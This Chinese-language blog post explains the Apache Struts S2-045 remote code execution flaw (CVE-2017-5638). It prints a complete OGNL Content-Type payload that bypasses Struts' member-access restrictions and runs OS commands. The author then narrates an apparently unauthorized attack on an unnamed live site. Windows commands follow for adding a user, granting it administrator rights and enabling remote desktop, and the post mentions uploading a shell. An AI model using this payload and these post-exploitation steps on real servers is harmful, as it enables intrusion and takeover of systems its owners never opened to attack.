您的位置:首页 > 编程语言 > Java开发

S2-045漏洞之简单分析+实战

2017-04-12 02:04 344 查看

0X00 前言:

尽管s2-045的poc已经烂大街了,博主只是想学习了解一下它的用法,顺带写了一个测试小工具。

0x01 漏洞简介

Apache Struts是一套用于创建企业级Java Web 应用的开源MVC框架 。

Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。

漏洞编号:S2-045

CVE编号:CVE-2017-5638

漏洞类型:远程代码执行

漏洞级别:高危

漏洞风险:黑客通过利用漏洞可以实现远程命令执行。

影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

0x02 简单的漏洞分析

由于当content-type中出现”multipart/form_data”时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

0x03 poc代码段

下面是一段网上的poc的header部分代码,主要分为三个部分

(1)用来触发文件漏洞,声明为文件上传

%{(#test='multipart/form-data')


(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])   .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))


(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}


0x04实战

远程执行的杀伤力十分强大,基本上是想干什么都可以。

下面是博主对某站的实战渗透,过程非常的简单。

这是我们的目标



为了简单化演示,博主写了一个非常丑陋的界面,输入url和命令whoami,即会返回命令结果。



windows渗透命令:

查看端口
netstat -an


增加用户
net user username password /add


用户提权
net localgroup Administrators username


开启3389远程桌面:
REG ADD HKLM、SYSTEM、CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 00000000 /f


之后远程登录即可。



或者上传shell,没有root权限则进行提权,之后还是想干嘛干嘛。

工具博主就不放啦,按照poc就能随随便便写出来了。

麻麻告诉我,有漏洞不要激动,要去通知管理员,于是博主帮管理员补好了漏洞。没错,博主就是这么棒!博主相信,好人一生平安~



友情提示:请不要使坏坏哦,会被警察蜀黍抓走的哟~
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  struts s2-045